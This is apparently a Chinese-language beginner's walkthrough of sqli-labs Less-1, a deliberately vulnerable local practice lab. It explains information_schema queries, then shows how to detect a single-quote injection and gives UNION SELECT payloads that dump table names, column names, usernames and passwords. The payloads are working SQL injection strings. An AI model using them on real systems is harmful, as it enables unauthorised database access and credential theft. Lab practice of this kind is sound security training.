sqli-labs less1(步入网安第一关)
#sqli-labs less1
————————————————
##重要函数和sql语句
使用group_concat() 函数可以让查询获得的数据组成一行显示
例子:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
count()函数用于统计个数(类似于表的个数,数据库的个数等等)
例子:
select count(SCHEMA_NAME) from information_schema.SCHEMATA
concat()函数可以将多个字符串拼接在一起
concat(’_’,‘chao’,_’)
输出结果: _chao_
获取数据库中的所有数据库名,表名,列名,字段名常用指令
select schema_name from information_schema.schemata (获取数据库名)
select table_name from information_schema.tables (获取表名)
select column_name from information_schemata.columns (获取所有列名)
select 列名 from 数据库名.表名
————————————————
###正式开打
localhost/sqli-labs-master/Less-1/?id=1 and 1=1
输入and 1=1 时返回正常
输入and 1=2 时也返回正常 :说明不是数值型注入
localhost/sqli-labs-master/Less-1/?id=1’
添加’ 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
说明有可能是字符型注入
加上 --+ 将后面注释,发现返回正常,说明是单引号字符型注入
我们通过更改?id=1 为?id=888 也就是更改数据库中不存在的id值 和 加上 union select 1,2,3 来判断显示位
之后用’union select 1,database(),3 --+ 来查看数据库名称(也可以用version()…来查看一些数据库信息)
获得数据库名称后可以开始爆表
'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
可以开始爆列名了
'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+
找到关键的User,Password,可以开始暴库了
'union select 1,(select group_concat(username) from security.users),3 --+
'union select 1,(select group_concat(password) from security.users),3–+
‘union select 1,group_concat(concat_ws(’:’,username,password)),3 from users --+
有可能有错误,大佬勿喷,我接受指教。